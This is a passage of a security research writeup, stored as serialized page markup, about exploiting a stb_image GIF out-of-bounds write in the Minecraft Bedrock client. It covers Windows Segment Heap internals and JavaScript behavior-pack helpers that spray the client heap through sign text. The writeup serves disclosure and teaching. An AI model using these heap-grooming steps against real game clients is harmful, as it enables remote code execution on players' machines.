(stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[148918],{"type":23,"tag":92,"props":148919,"children":148920},{"__ignoreMap":7},[148921,148946,148953,148960,148995,149041],{"type":23,"tag":134,"props":148922,"children":148923},{"class":136,"line":137},[148924,148928,148933,148937,148941],{"type":23,"tag":134,"props":148925,"children":148926},{"style":151},[148927],{"type":28,"value":50550},{"type":23,"tag":134,"props":148929,"children":148930},{"style":179},[148931],{"type":28,"value":148932}," stbi_uc ",{"type":23,"tag":134,"props":148934,"children":148935},{"style":168},[148936],{"type":28,"value":1777},{"type":23,"tag":134,"props":148938,"children":148939},{"style":264},[148940],{"type":28,"value":146859},{"type":23,"tag":134,"props":148942,"children":148943},{"style":179},[148944],{"type":28,"value":148945},"(...)\n",{"type":23,"tag":134,"props":148947,"children":148948},{"class":136,"line":147},[148949],{"type":23,"tag":134,"props":148950,"children":148951},{"style":179},[148952],{"type":28,"value":10346},{"type":23,"tag":134,"props":148954,"children":148955},{"class":136,"line":185},[148956],{"type":23,"tag":134,"props":148957,"children":148958},{"style":179},[148959],{"type":28,"value":147421},{"type":23,"tag":134,"props":148961,"children":148962},{"class":136,"line":221},[148963,148967,148971,148975,148979,148983,148987,148991],{"type":23,"tag":134,"props":148964,"children":148965},{"style":189},[148966],{"type":28,"value":52150},{"type":23,"tag":134,"props":148968,"children":148969},{"style":179},[148970],{"type":28,"value":232},{"type":23,"tag":134,"props":148972,"children":148973},{"style":162},[148974],{"type":28,"value":108810},{"type":23,"tag":134,"props":148976,"children":148977},{"style":179},[148978],{"type":28,"value":13225},{"type":23,"tag":134,"props":148980,"children":148981},{"style":162},[148982],{"type":28,"value":118233},{"type":23,"tag":134,"props":148984,"children":148985},{"style":168},[148986],{"type":28,"value":454},{"type":23,"tag":134,"props":148988,"children":148989},{"style":205},[148990],{"type":28,"value":208},{"type":23,"tag":134,"props":148992,"children":148993},{"style":179},[148994],{"type":28,"value":14272},{"type":23,"tag":134,"props":148996,"children":148997},{"class":136,"line":332},[148998,149002,149006,149010,149015,149020,149024,149029,149033,149037],{"type":23,"tag":134,"props":148999,"children":149000},{"style":189},[149001],{"type":28,"value":38785},{"type":23,"tag":134,"props":149003,"children":149004},{"style":179},[149005],{"type":28,"value":232},{"type":23,"tag":134,"props":149007,"children":149008},{"style":168},[149009],{"type":28,"value":20099},{"type":23,"tag":134,"props":149011,"children":149012},{"style":264},[149013],{"type":28,"value":149014},"stbi__gif_header",{"type":23,"tag":134,"props":149016,"children":149017},{"style":179},[149018],{"type":28,"value":149019},"(s, g, comp,",{"type":23,"tag":134,"props":149021,"children":149022},{"style":205},[149023],{"type":28,"value":1224},{"type":23,"tag":134,"props":149025,"children":149026},{"style":179},[149027],{"type":28,"value":149028},"))     ",{"type":23,"tag":134,"props":149030,"children":149031},{"style":189},[149032],{"type":28,"value":47962},{"type":23,"tag":134,"props":149034,"children":149035},{"style":205},[149036],{"type":28,"value":208},{"type":23,"tag":134,"props":149038,"children":149039},{"style":179},[149040],{"type":28,"value":182},{"type":23,"tag":134,"props":149042,"children":149043},{"class":136,"line":438},[149044,149049,149053,149057,149061,149066,149070,149074,149079,149083,149087,149091,149095,149099,149103,149107,149111,149115,149119],{"type":23,"tag":134,"props":149045,"children":149046},{"style":162},[149047],{"type":28,"value":149048},"      g",{"type":23,"tag":134,"props":149050,"children":149051},{"style":179},[149052],{"type":28,"value":13225},{"type":23,"tag":134,"props":149054,"children":149055},{"style":162},[149056],{"type":28,"value":118233},{"type":23,"tag":134,"props":149058,"children":149059},{"style":168},[149060],{"type":28,"value":171},{"type":23,"tag":134,"props":149062,"children":149063},{"style":179},[149064],{"type":28,"value":149065}," (stbi_uc ",{"type":23,"tag":134,"props":149067,"children":149068},{"style":168},[149069],{"type":28,"value":1777},{"type":23,"tag":134,"props":149071,"children":149072},{"style":179},[149073],{"type":28,"value":252},{"type":23,"tag":134,"props":149075,"children":149076},{"style":264},[149077],{"type":28,"value":149078},"stbi__malloc",{"type":23,"tag":134,"props":149080,"children":149081},{"style":179},[149082],{"type":28,"value":272},{"type":23,"tag":134,"props":149084,"children":149085},{"style":205},[149086],{"type":28,"value":17001},{"type":23,"tag":134,"props":149088,"children":149089},{"style":168},[149090],{"type":28,"value":9281},{"type":23,"tag":134,"props":149092,"children":149093},{"style":162},[149094],{"type":28,"value":147461},{"type":23,"tag":134,"props":149096,"children":149097},{"style":179},[149098],{"type":28,"value":13225},{"type":23,"tag":134,"props":149100,"children":149101},{"style":162},[149102],{"type":28,"value":49077},{"type":23,"tag":134,"props":149104,"children":149105},{"style":168},[149106],{"type":28,"value":9281},{"type":23,"tag":134,"props":149108,"children":149109},{"style":162},[149110],{"type":28,"value":147461},{"type":23,"tag":134,"props":149112,"children":149113},{"style":179},[149114],{"type":28,"value":13225},{"type":23,"tag":134,"props":149116,"children":149117},{"style":162},[149118],{"type":28,"value":83857},{"type":23,"tag":134,"props":149120,"children":149121},{"style":179},[149122],{"type":28,"value":1021},{"type":23,"tag":24,"props":149124,"children":149125},{},[149126,149128,149133,149135,149140],{"type":28,"value":149127},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":23,"tag":92,"props":149129,"children":149131},{"className":149130},[],[149132],{"type":28,"value":147680},{"type":28,"value":149134}," and the value of ",{"type":23,"tag":92,"props":149136,"children":149138},{"className":149137},[],[149139],{"type":28,"value":24},{"type":28,"value":149141}," just before the OOB write happens:",{"type":23,"tag":87,"props":149143,"children":149145},{"code":149144},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[149146],{"type":23,"tag":92,"props":149147,"children":149148},{"__ignoreMap":7},[149149],{"type":28,"value":149144},{"type":23,"tag":24,"props":149151,"children":149152},{},[149153,149155,149160,149162,149167],{"type":28,"value":149154},"There are multiple within-bound writes to ",{"type":23,"tag":92,"props":149156,"children":149158},{"className":149157},[],[149159],{"type":28,"value":24},{"type":28,"value":149161},", but the last write happens just after the ",{"type":23,"tag":92,"props":149163,"children":149165},{"className":149164},[],[149166],{"type":28,"value":147680},{"type":28,"value":149168}," allocation.",{"type":23,"tag":9072,"props":149170,"children":149172},{"id":149171},"summarizing-the-corruption",[149173],{"type":28,"value":149174},"Summarizing the Corruption",{"type":23,"tag":16158,"props":149176,"children":149177},{},[149178,149191,149219],{"type":23,"tag":4894,"props":149179,"children":149180},{},[149181,149183,149189],{"type":28,"value":149182},"A single ",{"type":23,"tag":92,"props":149184,"children":149186},{"className":149185},[],[149187],{"type":28,"value":149188},"0x01",{"type":28,"value":149190}," byte write OOB",{"type":23,"tag":4894,"props":149192,"children":149193},{},[149194,149196],{"type":28,"value":149195},"4-byte OOB write just above the allocated buffer\n",{"type":23,"tag":16158,"props":149197,"children":149198},{},[149199,149204,149214],{"type":23,"tag":4894,"props":149200,"children":149201},{},[149202],{"type":28,"value":149203},"First three bytes are controllable",{"type":23,"tag":4894,"props":149205,"children":149206},{},[149207,149209],{"type":28,"value":149208},"Last byte will be ",{"type":23,"tag":92,"props":149210,"children":149212},{"className":149211},[],[149213],{"type":28,"value":112855},{"type":23,"tag":4894,"props":149215,"children":149216},{},[149217],{"type":28,"value":149218},"Size of the allocation is controlled",{"type":23,"tag":4894,"props":149220,"children":149221},{},[149222,149224],{"type":28,"value":149223},"Both corruptions are done on a short-lived allocation\n",{"type":23,"tag":16158,"props":149225,"children":149226},{},[149227,149232],{"type":23,"tag":4894,"props":149228,"children":149229},{},[149230],{"type":28,"value":149231},"Allocated just before the image-parsing process",{"type":23,"tag":4894,"props":149233,"children":149234},{},[149235],{"type":28,"value":149236},"Freed immediately upon parsing completion",{"type":23,"tag":18268,"props":149238,"children":149239},{},[],{"type":23,"tag":24,"props":149241,"children":149242},{},[149243,149245,149252,149254,149261],{"type":28,"value":149244},"Note that this bug was already found before (",{"type":23,"tag":31,"props":149246,"children":149249},{"href":149247,"rel":149248},"https://github.com/nothings/stb/issues/656",[35],[149250],{"type":28,"value":149251},"Github Issue",{"type":28,"value":149253},") but we missed it at the time. It was later fixed in ",{"type":23,"tag":31,"props":149255,"children":149258},{"href":149256,"rel":149257},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[35],[149259],{"type":28,"value":149260},"this commit",{"type":28,"value":720},{"type":23,"tag":61,"props":149263,"children":149264},{"id":4872},[149265],{"type":28,"value":4875},{"type":23,"tag":24,"props":149267,"children":149268},{},[149269],{"type":28,"value":149270},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":23,"tag":24,"props":149272,"children":149273},{},[149274],{"type":28,"value":149275},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":23,"tag":9072,"props":149277,"children":149279},{"id":149278},"searching-for-better-primitives",[149280],{"type":28,"value":149281},"Searching for Better Primitives",{"type":23,"tag":24,"props":149283,"children":149284},{},[149285],{"type":28,"value":149286},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":23,"tag":24,"props":149288,"children":149289},{},[149290,149292,149299],{"type":28,"value":149291},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":23,"tag":31,"props":149293,"children":149296},{"href":149294,"rel":149295},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[35],[149297],{"type":28,"value":149298},"UWP",{"type":28,"value":149300}," applications (such as Minecraft Bedrock Edition).",{"type":23,"tag":9072,"props":149302,"children":149304},{"id":149303},"segment-heap",[149305],{"type":28,"value":149306},"Segment Heap",{"type":23,"tag":24,"props":149308,"children":149309},{},[149310,149312,149319],{"type":28,"value":149311},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":23,"tag":31,"props":149313,"children":149316},{"href":149314,"rel":149315},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[35],[149317],{"type":28,"value":149318},"this talk",{"type":28,"value":149320}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":23,"tag":18368,"props":149322,"children":149324},{"id":149323},"low-fragmentation-heap",[149325],{"type":28,"value":149326},"Low Fragmentation Heap",{"type":23,"tag":24,"props":149328,"children":149329},{},[149330,149332,149338],{"type":28,"value":149331},"Low Fragmentation Heap (LFH) services allocations of ",{"type":23,"tag":92,"props":149333,"children":149335},{"className":149334},[],[149336],{"type":28,"value":149337},"0x3ff0",{"type":28,"value":149339}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":23,"tag":24,"props":149341,"children":149342},{},[149343],{"type":28,"value":149344},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":23,"tag":87,"props":149346,"children":149348},{"code":149347},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[149349],{"type":23,"tag":92,"props":149350,"children":149351},{"__ignoreMap":7},[149352],{"type":28,"value":149347},{"type":23,"tag":24,"props":149354,"children":149355},{},[149356],{"type":28,"value":149357},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":23,"tag":18368,"props":149359,"children":149361},{"id":149360},"variable-size",[149362],{"type":28,"value":149363},"Variable Size",{"type":23,"tag":24,"props":149365,"children":149366},{},[149367,149369,149375,149377,149383],{"type":28,"value":149368},"This subsegment is used for allocation sizes from ",{"type":23,"tag":92,"props":149370,"children":149372},{"className":149371},[],[149373],{"type":28,"value":149374},"0x4000",{"type":28,"value":149376}," and up to ",{"type":23,"tag":92,"props":149378,"children":149380},{"className":149379},[],[149381],{"type":28,"value":149382},"0x20_000",{"type":28,"value":149384},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":23,"tag":87,"props":149386,"children":149388},{"code":149387},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[149389],{"type":23,"tag":92,"props":149390,"children":149391},{"__ignoreMap":7},[149392],{"type":28,"value":149387},{"type":23,"tag":24,"props":149394,"children":149395},{},[149396,149398,149404],{"type":28,"value":149397},"The header, ",{"type":23,"tag":92,"props":149399,"children":149401},{"className":149400},[],[149402],{"type":28,"value":149403},"HEAP_VS_CHUNK_HEADER",{"type":28,"value":149405},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":23,"tag":18268,"props":149407,"children":149408},{},[],{"type":23,"tag":24,"props":149410,"children":149411},{},[149412],{"type":28,"value":149413},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":23,"tag":24,"props":149415,"children":149416},{},[149417,149419,149426],{"type":28,"value":149418},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":23,"tag":31,"props":149420,"children":149423},{"href":149421,"rel":149422},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[35],[149424],{"type":28,"value":149425},"technique published",{"type":28,"value":149427}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":23,"tag":24,"props":149429,"children":149430},{},[149431],{"type":28,"value":149432},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":23,"tag":24,"props":149434,"children":149435},{},[149436],{"type":28,"value":149437},"In either case, we needed a way to spray the heap before we could proceed.",{"type":23,"tag":9072,"props":149439,"children":149441},{"id":149440},"finding-a-way-to-spray-the-heap",[149442],{"type":28,"value":149443},"Finding a Way to Spray the Heap",{"type":23,"tag":24,"props":149445,"children":149446},{},[149447],{"type":28,"value":149448},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":23,"tag":16158,"props":149450,"children":149451},{},[149452,149457,149462,149467],{"type":23,"tag":4894,"props":149453,"children":149454},{},[149455],{"type":28,"value":149456},"The size of the allocation",{"type":23,"tag":4894,"props":149458,"children":149459},{},[149460],{"type":28,"value":149461},"The data written into the allocated buffer",{"type":23,"tag":4894,"props":149463,"children":149464},{},[149465],{"type":28,"value":149466},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":23,"tag":4894,"props":149468,"children":149469},{},[149470],{"type":28,"value":149471},"The number of created objects (preferably unbounded)",{"type":23,"tag":24,"props":149473,"children":149474},{},[149475],{"type":28,"value":149476},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":23,"tag":18368,"props":149478,"children":149480},{"id":149479},"minecraft-signs",[149481],{"type":28,"value":149482},"Minecraft Signs",{"type":23,"tag":24,"props":149484,"children":149485},{},[149486],{"type":28,"value":149487},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":23,"tag":24,"props":149489,"children":149490},{},[149491,149493,149499],{"type":28,"value":149492},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":23,"tag":92,"props":149494,"children":149496},{"className":149495},[],[149497],{"type":28,"value":149498},"std::string",{"type":28,"value":720},{"type":23,"tag":24,"props":149501,"children":149502},{},[149503,149505,149510],{"type":28,"value":149504},"In Microsoft’s C++ implementation, ",{"type":23,"tag":92,"props":149506,"children":149508},{"className":149507},[],[149509],{"type":28,"value":149498},{"type":28,"value":149511}," is structured roughly as follows:",{"type":23,"tag":87,"props":149513,"children":149515},{"code":149514,"language":315,"meta":7,"className":15985,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[149516],{"type":23,"tag":92,"props":149517,"children":149518},{"__ignoreMap":7},[149519,149530,149537,149549,149565,149589,149596,149607,149619],{"type":23,"tag":134,"props":149520,"children":149521},{"class":136,"line":137},[149522,149526],{"type":23,"tag":134,"props":149523,"children":149524},{"style":151},[149525],{"type":28,"value":8864},{"type":23,"tag":134,"props":149527,"children":149528},{"style":179},[149529],{"type":28,"value":84556},{"type":23,"tag":134,"props":149531,"children":149532},{"class":136,"line":147},[149533],{"type":23,"tag":134,"props":149534,"children":149535},{"style":179},[149536],{"type":28,"value":10346},{"type":23,"tag":134,"props":149538,"children":149539},{"class":136,"line":185},[149540,149545],{"type":23,"tag":134,"props":149541,"children":149542},{"style":151},[149543],{"type":28,"value":149544},"    union",{"type":23,"tag":134,"props":149546,"children":149547},{"style":179},[149548],{"type":28,"value":463},{"type":23,"tag":134,"props":149550,"children":149551},{"class":136,"line":221},[149552,149557,149561],{"type":23,"tag":134,"props":149553,"children":149554},{"style":151},[149555],{"type":28,"value":149556},"        char",{"type":23,"tag":134,"props":149558,"children":149559},{"style":168},[149560],{"type":28,"value":1777},{"type":23,"tag":134,"props":149562,"children":149563},{"style":179},[149564],{"type":28,"value":16027},{"type":23,"tag":134,"props":149566,"children":149567},{"class":136,"line":332},[149568,149572,149577,149581,149585],{"type":23,"tag":134,"props":149569,"children":149570},{"style":151},[149571],{"type":28,"value":149556},{"type":23,"tag":134,"props":149573,"children":149574},{"style":162},[149575],{"type":28,"value":149576}," buf",{"type":23,"tag":134,"props":149578,"children":149579},{"style":179},[149580],{"type":28,"value":924},{"type":23,"tag":134,"props":149582,"children":149583},{"style":205},[149584],{"type":28,"value":40346},{"type":23,"tag":134,"props":149586,"children":149587},{"style":179},[149588],{"type":28,"value":31069},{"type":23,"tag":134,"props":149590,"children":149591},{"class":136,"line":438},[149592],{"type":23,"tag":134,"props":149593,"children":149594},{"style":179},[149595],{"type":28,"value":38495},{"type":23,"tag":134,"props":149597,"children":149598},{"class":136,"line":466},[149599,149603],{"type":23,"tag":134,"props":149600,"children":149601},{"style":151},[149602],{"type":28,"value":16035},{"type":23,"tag":134,"props":149604,"children":149605},{"style":179},[149606],{"type":28,"value":124114},{"type":23,"tag":134,"props":149608,"children":149609},{"class":136,"line":479},[149610,149614],{"type":23,"tag":134,"props":149611,"children":149612},{"style":151},[149613],{"type":28,"value":16035},{"type":23,"tag":134,"props":149615,"children":149616},{"style":179},[149617],{"type":28,"value":149618}," capacity;\n",{"type":23,"tag":134,"props":149620,"children":149621},{"class":136,"line":497},[149622],{"type":23,"tag":134,"props":149623,"children":149624},{"style":179},[149625],{"type":28,"value":16048},{"type":23,"tag":24,"props":149627,"children":149628},{},[149629,149631,149637,149639,149644],{"type":28,"value":149630},"We are primarily interested in the union: ",{"type":23,"tag":92,"props":149632,"children":149634},{"className":149633},[],[149635],{"type":28,"value":149636},"buf",{"type":28,"value":149638}," is used when the string fits within 16 bytes, while ",{"type":23,"tag":92,"props":149640,"children":149642},{"className":149641},[],[149643],{"type":28,"value":13417},{"type":28,"value":149645}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":23,"tag":24,"props":149647,"children":149648},{},[149649],{"type":28,"value":149650},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":23,"tag":24,"props":149652,"children":149653},{},[149654],{"type":28,"value":149655},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":23,"tag":18368,"props":149657,"children":149659},{"id":149658},"spraying-with-server-side-scripting",[149660],{"type":28,"value":149661},"Spraying With Server-Side Scripting",{"type":23,"tag":24,"props":149663,"children":149664},{},[149665],{"type":28,"value":149666},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":23,"tag":24,"props":149668,"children":149669},{},[149670,149672,149678,149679,149685],{"type":28,"value":149671},"We wrote ",{"type":23,"tag":92,"props":149673,"children":149675},{"className":149674},[],[149676],{"type":28,"value":149677},"alloc",{"type":28,"value":10458},{"type":23,"tag":92,"props":149680,"children":149682},{"className":149681},[],[149683],{"type":28,"value":149684},"free",{"type":28,"value":149686}," helpers that trigger an allocation in the client and free it on demand:",{"type":23,"tag":87,"props":149688,"children":149690},{"code":149689,"language":35113,"meta":7,"className":35111,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[149691],{"type":23,"tag":92,"props":149692,"children":149693},{"__ignoreMap":7},[149694,149702,149744,149777,149822,149834,149841,149848,149909,149936,149951,149958,149965,149994,150009,150016,150023,150031,150055,150106,150117,150124,150131,150168,150195,150202,150231,150261,150268,150295],{"type":23,"tag":134,"props":149695,"children":149696},{"class":136,"line":137},[149697],{"type":23,"tag":134,"props":149698,"children":149699},{"style":141},[149700],{"type":28,"value":149701},"// Allocate sign text in the client\n",{"type":23,"tag":134,"props":149703,"children":149704},{"class":136,"line":147},[149705,149709,149714,149718,149722,149726,149731,149735,149740],{"type":23,"tag":134,"props":149706,"children":149707},{"style":151},[149708],{"type":28,"value":30872},{"type":23,"tag":134,"props":149710,"children":149711},{"style":264},[149712],{"type":28,"value":149713}," alloc",{"type":23,"tag":134,"props":149715,"children":149716},{"style":179},[149717],{"type":28,"value":272},{"type":23,"tag":134,"props":149719,"children":149720},{"style":162},[149721],{"type":28,"value":123772},{"type":23,"tag":134,"props":149723,"children":149724},{"style":179},[149725],{"type":28,"value":242},{"type":23,"tag":134,"props":149727,"children":149728},{"style":162},[149729],{"type":28,"value":149730},"fill",{"type":23,"tag":134,"props":149732,"children":149733},{"style":168},[149734],{"type":28,"value":257},{"type":23,"tag":134,"props":149736,"children":149737},{"style":1461},[149738],{"type":28,"value":149739},"\"A\"",{"type":23,"tag":134,"props":149741,"children":149742},{"style":179},[149743],{"type":28,"value":14272},{"type":23,"tag":134,"props":149745,"children":149746},{"class":136,"line":185},[149747,149751,149755,149759,149764,149768,149773],{"type":23,"tag":134,"props":149748,"children":149749},{"style":189},[149750],{"type":28,"value":192},{"type":23,"tag":134,"props":149752,"children":149753},{"style":179},[149754],{"type":28,"value":232},{"type":23,"tag":134,"props":149756,"children":149757},{"style":151},[149758],{"type":28,"value":11254},{"type":23,"tag":134,"props":149760,"children":149761},{"style":162},[149762],{"type":28,"value":149763}," sign",{"type":23,"tag":134,"props":149765,"children":149766},{"style":151},[149767],{"type":28,"value":9828},{"type":23,"tag":134,"props":149769,"children":149770},{"style":162},[149771],{"type":28,"value":149772}," signs",{"type":23,"tag":134,"props":149774,"children":149775},{"style":179},[149776],{"type":28,"value":14272},{"type":23,"tag":134,"props":149778,"children":149779},{"class":136,"line":221},[149780,149784,149788,149793,149797,149802,149806,149810,149814,149818],{"type":23,"tag":134,"props":149781,"children":149782},{"style":189},[149783],{"type":28,"value":444},{"type":23,"tag":134,"props":149785,"children":149786},{"style":179},[149787],{"type":28,"value":232},{"type":23,"tag":134,"props":149789,"children":149790},{"style":162},[149791],{"type":28,"value":149792},"sign",{"type":23,"tag":134,"props":149794,"children":149795},{"style":179},[149796],{"type":28,"value":720},{"type":23,"tag":134,"props":149798,"children":149799},{"style":162},[149800],{"type":28,"value":149801},"allocated",{"type":23,"tag":134,"props":149803,"children":149804},{"style":168},[149805],{"type":28,"value":23187},{"type":23,"tag":134,"props":149807,"children":149808},{"style":162},[149809],{"type":28,"value":149763},{"type":23,"tag":134,"props":149811,"children":149812},{"style":179},[149813],{"type":28,"value":720},{"type":23,"tag":134,"props":149815,"children":149816},{"style":162},[149817],{"type":28,"value":132477},{"type":23,"tag":134,"props":149819,"children":149820},{"style":179},[149821],{"type":28,"value":14272},{"type":23,"tag":134,"props":149823,"children":149824},{"class":136,"line":332},[149825,149830],{"type":23,"tag":134,"props":149826,"children":149827},{"style":189},[149828],{"type":28,"value":149829},"            continue",{"type":23,"tag":134,"props":149831,"children":149832},{"style":179},[149833],{"type":28,"value":182},{"type":23,"tag":134,"props":149835,"children":149836},{"class":136,"line":438},[149837],{"type":23,"tag":134,"props":149838,"children":149839},{"style":179},[149840],{"type":28,"value":524},{"type":23,"tag":134,"props":149842,"children":149843},{"class":136,"line":466},[149844],{"type":23,"tag":134,"props":149845,"children":149846},{"emptyLinePlaceholder":15},[149847],{"type":28,"value":865},{"type":23,"tag":134,"props":149849,"children":149850},{"class":136,"line":479},[149851,149856,149860,149864,149868,149873,149877,149881,149885,149889,149893,149897,149901,149905],{"type":23,"tag":134,"props":149852,"children":149853},{"style":162},[149854],{"type":28,"value":149855},"        sign",{"type":23,"tag":134,"props":149857,"children":149858},{"style":179},[149859],{"type":28,"value":720},{"type":23,"tag":134,"props":149861,"children":149862},{"style":162},[149863],{"type":28,"value":149792},{"type":23,"tag":134,"props":149865,"children":149866},{"style":179},[149867],{"type":28,"value":720},{"type":23,"tag":134,"props":149869,"children":149870},{"style":264},[149871],{"type":28,"value":149872},"setText",{"type":23,"tag":134,"props":149874,"children":149875},{"style":179},[149876],{"type":28,"value":272},{"type":23,"tag":134,"props":149878,"children":149879},{"style":162},[149880],{"type":28,"value":149730},{"type":23,"tag":134,"props":149882,"children":149883},{"style":179},[149884],{"type":28,"value":720},{"type":23,"tag":134,"props":149886,"children":149887},{"style":264},[149888],{"type":28,"value":132727},{"type":23,"tag":134,"props":149890,"children":149891},{"style":179},[149892],{"type":28,"value":272},{"type":23,"tag":134,"props":149894,"children":149895},{"style":162},[149896],{"type":28,"value":123772},{"type":23,"tag":134,"props":149898,"children":149899},{"style":168},[149900],{"type":28,"value":50761},{"type":23,"tag":134,"props":149902,"children":149903},{"style":205},[149904],{"type":28,"value":1729},{"type":23,"tag":134,"props":149906,"children":149907},{"style":179},[149908],{"type":28,"value":6681},{"type":23,"tag":134,"props":149910,"children":149911},{"class":136,"line":497},[149912,149916,149920,149924,149928,149932],{"type":23,"tag":134,"props":149913,"children":149914},{"style":162},[149915],{"type":28,"value":149855},{"type":23,"tag":134,"props":149917,"children":149918},{"style":179},[149919],{"type":28,"value":720},{"type":23,"tag":134,"props":149921,"children":149922},{"style":162},[149923],{"type":28,"value":149801},{"type":23,"tag":134,"props":149925,"children":149926},{"style":168},[149927],{"type":28,"value":171},{"type":23,"tag":134,"props":149929,"children":149930},{"style":151},[149931],{"type":28,"value":11936},{"type":23,"tag":134,"props":149933,"children":149934},{"style":179},[149935],{"type":28,"value":182},{"type":23,"tag":134,"props":149937,"children":149938},{"class":136,"line":518},[149939,149943,149947],{"type":23,"tag":134,"props":149940,"children":149941},{"style":189},[149942],{"type":28,"value":15214},{"type":23,"tag":134,"props":149944,"children":149945},{"style":162},[149946],{"type":28,"value":149763},{"type":23,"tag":134,"props":149948,"children":149949},{"style":179},[149950],{"type":28,"value":182},{"type":23,"tag":134,"props":149952,"children":149953},{"class":136,"line":527},[149954],{"type":23,"tag":134,"props":149955,"children":149956},{"style":179},[149957],{"type":28,"value":533},{"type":23,"tag":134,"props":149959,"children":149960},{"class":136,"line":780},[149961],{"type":23,"tag":134,"props":149962,"children":149963},{"emptyLinePlaceholder":15},[149964],{"type":28,"value":865},{"type":23,"tag":134,"props":149966,"children":149967},{"class":136,"line":797},[149968,149972,149976,149981,149985,149990],{"type":23,"tag":134,"props":149969,"children":149970},{"style":162},[149971],{"type":28,"value":30934},{"type":23,"tag":134,"props":149973,"children":149974},{"style":179},[149975],{"type":28,"value":720},{"type":23,"tag":134,"props":149977,"children":149978},{"style":264},[149979],{"type":28,"value":149980},"warn",{"type":23,"tag":134,"props":149982,"children":149983},{"style":179},[149984],{"type":28,"value":272},{"type":23,"tag":134,"props":149986,"children":149987},{"style":1461},[149988],{"type":28,"value":149989},"\"No more 